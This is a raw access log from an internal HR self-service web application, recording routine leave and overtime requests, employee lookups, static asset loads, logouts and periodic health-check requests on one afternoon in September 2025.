192.168.11.68 - - [06/Sep/2025:13:10:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8381 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:10:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8381
192.168.11.68 - - [06/Sep/2025:13:10:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10208 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:10:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10208
192.168.11.68 - - [06/Sep/2025:13:10:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10218 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:10:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10218
192.168.11.68 - - [06/Sep/2025:13:10:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:10:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
100.64.0.1 - - [06/Sep/2025:13:11:02 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:13:11:02 +0800] "GET / HTTP/1.1" 200 439
192.168.11.68 - - [06/Sep/2025:13:11:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3443523968658846 HTTP/1.1" 200 8988
192.168.11.68 - - [06/Sep/2025:13:11:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3443523968658846 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:11:34 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3443523968658846 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3443523968658846" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:11:34 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3443523968658846 HTTP/1.1" 200 27500
192.168.11.197 - - [06/Sep/2025:13:11:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.197 - - [06/Sep/2025:13:11:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:11:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.197 - - [06/Sep/2025:13:11:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.68 - - [06/Sep/2025:13:11:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4202
192.168.11.68 - - [06/Sep/2025:13:11:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4202 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.197 - - [06/Sep/2025:13:11:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.197 - - [06/Sep/2025:13:11:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:11:57 +0800] "GET /eHR/js/date.js HTTP/1.1" 200 12630
192.168.11.197 - - [06/Sep/2025:13:11:57 +0800] "GET /eHR/js/date.js HTTP/1.1" 200 12630 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:11:57 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242
192.168.11.197 - - [06/Sep/2025:13:11:57 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:11:57 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.197 - - [06/Sep/2025:13:11:57 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:11:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:11:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.197 - - [06/Sep/2025:13:11:57 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 200 3568
192.168.11.197 - - [06/Sep/2025:13:11:57 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 200 3568 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:12:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:12:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.197 - - [06/Sep/2025:13:12:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:12:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.11.68 - - [06/Sep/2025:13:12:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8381 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:12:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8381
192.168.11.68 - - [06/Sep/2025:13:12:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13436 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:12:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13436
192.168.11.68 - - [06/Sep/2025:13:12:34 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=116512 HTTP/1.1" 200 5216 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:12:34 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=116512 HTTP/1.1" 200 5216
192.168.11.68 - - [06/Sep/2025:13:12:36 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_0_aaaaaa_40x100.png HTTP/1.1" 200 180
192.168.11.68 - - [06/Sep/2025:13:12:36 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_0_aaaaaa_40x100.png HTTP/1.1" 200 180 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:12:36 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:12:36 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369
192.168.11.68 - - [06/Sep/2025:13:12:36 +0800] "GET /eHR/img/workflow/start.png HTTP/1.1" 200 2344
192.168.11.68 - - [06/Sep/2025:13:12:36 +0800] "GET /eHR/img/workflow/start.png HTTP/1.1" 200 2344 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:12:36 +0800] "GET /eHR/img/workflow/process.png HTTP/1.1" 200 2728
192.168.11.68 - - [06/Sep/2025:13:12:36 +0800] "GET /eHR/img/workflow/process.png HTTP/1.1" 200 2728 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:12:36 +0800] "GET /eHR/img/workflow/user_sign_unknown_key.png HTTP/1.1" 200 3101 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:12:36 +0800] "GET /eHR/img/workflow/user_sign_unknown_key.png HTTP/1.1" 200 3101
192.168.11.68 - - [06/Sep/2025:13:12:36 +0800] "GET /eHR/img/workflow/end.png HTTP/1.1" 200 2726
192.168.11.68 - - [06/Sep/2025:13:12:36 +0800] "GET /eHR/img/workflow/end.png HTTP/1.1" 200 2726 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:12:40 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=116515 HTTP/1.1" 200 5512 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:12:40 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=116515 HTTP/1.1" 200 5512
192.168.11.68 - - [06/Sep/2025:13:12:45 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=116512 HTTP/1.1" 200 5216 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:12:45 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=116512 HTTP/1.1" 200 5216
100.64.0.1 - - [06/Sep/2025:13:12:59 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:13:12:59 +0800] "GET / HTTP/1.1" 200 439
192.168.11.68 - - [06/Sep/2025:13:12:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.68 - - [06/Sep/2025:13:12:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.197 - - [06/Sep/2025:13:14:01 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2705604957757898 HTTP/1.1" 200 8456 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:14:01 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2705604957757898 HTTP/1.1" 200 8456
192.168.11.197 - - [06/Sep/2025:13:14:20 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2705604957757898 HTTP/1.1" 200 10629 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2705604957757898" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:14:20 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2705604957757898 HTTP/1.1" 200 10629
100.64.0.1 - - [06/Sep/2025:13:15:01 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:13:15:01 +0800] "GET / HTTP/1.1" 200 439
192.168.11.197 - - [06/Sep/2025:13:15:31 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4797782370150049 HTTP/1.1" 200 8456 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:15:31 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4797782370150049 HTTP/1.1" 200 8456
192.168.11.197 - - [06/Sep/2025:13:15:42 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4797782370150049 HTTP/1.1" 200 10636 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4797782370150049" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:15:42 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4797782370150049 HTTP/1.1" 200 10636
192.168.11.197 - - [06/Sep/2025:13:16:08 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8732877821277818 HTTP/1.1" 200 8456 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:16:08 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8732877821277818 HTTP/1.1" 200 8456
192.168.11.136 - - [06/Sep/2025:13:16:30 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 9028 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:30 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 9028
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 -
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 -
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 -
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 -
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 -
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 -
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 -
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 -
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 -
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 -
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 -
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 -
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 -
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 -
